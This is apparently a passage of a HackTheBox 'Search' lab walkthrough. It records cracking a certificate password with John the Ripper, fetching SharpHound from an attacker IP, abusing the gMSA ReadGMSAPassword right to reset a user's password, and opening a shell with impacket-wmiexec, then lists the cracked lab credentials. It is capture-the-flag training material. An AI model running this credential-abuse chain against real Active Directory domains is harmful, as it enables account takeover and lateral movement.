26ef580711b6b5c08e20244186c72a661e553ca53ec16c405eec545121b486e0ffce9a77b4ae71a588c4b06599571851053c1b648275315068ed8ef1d6a22420c234b44fcf29c3eab64fa232f1acedb10494c6fac56aaa246dbc998895605021ae3fb04d80768459c4137adffbbeec31bee9e5a83a6eb13e6bf3bea85c249e29c0722fb9d2fabfe2e0dd2f63b80d3bc8374550db0017685235afdc6f3a0511dae91549092bf935443b5c53529a05e5a12c9d4f0cb4589692105f5f652e31b08feb6e923c1f901047f27157952ebd4e2f0f1fc0a771c23a27e61c724e4a308922f03c7a1ebb21e49434c1f06f351cc6e9309671de06696147009594c85bef09e44ef77e3543fbb3fec93f3021e9e0b343e1f3434c3fcd9930164ccc48680f68c66ade8a677a3659dfbce229f316c62646b4cd59c6890d123a1974d5f3e885e2e161796a88aba9f74c5f655d62130954918df5526ba6501d0d49e6bf02e66c611e881e43f602610c6b6d8269aa89463962dfd5d5b838f63c5242239244dbcdfb83c6ae8944af2691ab4be8cb9bc6a524e836e299f2ad51573272642cdc59bdb07912d2d5ce8c6c1df07a0545f84bc6f4c37343ac75b2ff9e03c75891eb7584b966e4989c6f0a7fc39f43884e42b4ae9a6d9d467fff235b1b3e148770640af1e19a3e5fbf39f9bb00fb2ea80a48c7340d68be6480bcc95b006f511f0880e151ba3ac1c491fd17d2e9f48cdb33bb767a58ffd37c3c29c685febaa37168d58b3bd850dbc11646298da284bd70f296b9cb23ab3d1c4481bdfddecc76e4879e095b95a0ea11febf0c80af73477392454985e03874c3f0f142527d90983748356b0b4e58d78aa379975815a8cbd74bd25d0e341e51fb3

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john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:29 24.03% (ETA: 22:38:26) 0g/s 40823p/s 40823c/s 40823C/s somers1990..someboat
misspissy        (staff.pfx)     
1g 0:00:02:13 DONE (2023-05-03 22:34) 0.007518g/s 41234p/s 41234c/s 41234C/s missprin1956..missnono
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Root privesc

We can upload SharpHound.exe to the machine with the following command:

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iwr -uri http://10.10.16.2./SharpHound.exe -OutFile SharpHound.exe

As we can see after uploading the output to our Bloodhound, there is a ReadGMSAPassword1 attribute for this user:

ReadGMSAPassword

After further researching about this attribute we found the following link explaining how it can be abused to retrieve the password from this user:

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# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'bir-adfs-gmsa' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
# Build a NT-Hash for PTH
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
# Alterantive: build a Credential-Object with the Plain Password
$cred = new-object system.management.automation.PSCredential "BIR-ADFS-GMSA$",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword

Once that we have the credentials we can change the password of user tristan.davies

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Invoke-Command -computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'Password1234!' -force)} -Credential $cred

Finally we can access with impacket-wmiexec:

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impacket-wmiexec 'search/tristan.davies:Password1234!@10.10.11.129'                    
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
search\tristan.davies

Credentials

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hope.sharp@search.htb:IsolationIsKey?
web_svc:@3ONEmillionbaby
Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18

BIR-ADFS-GMSA$@SEARCH.HTB

Notes

Resources

  1. ReadGMSAPassword privilege abuse ↩

HackTheBox, Windows - Hard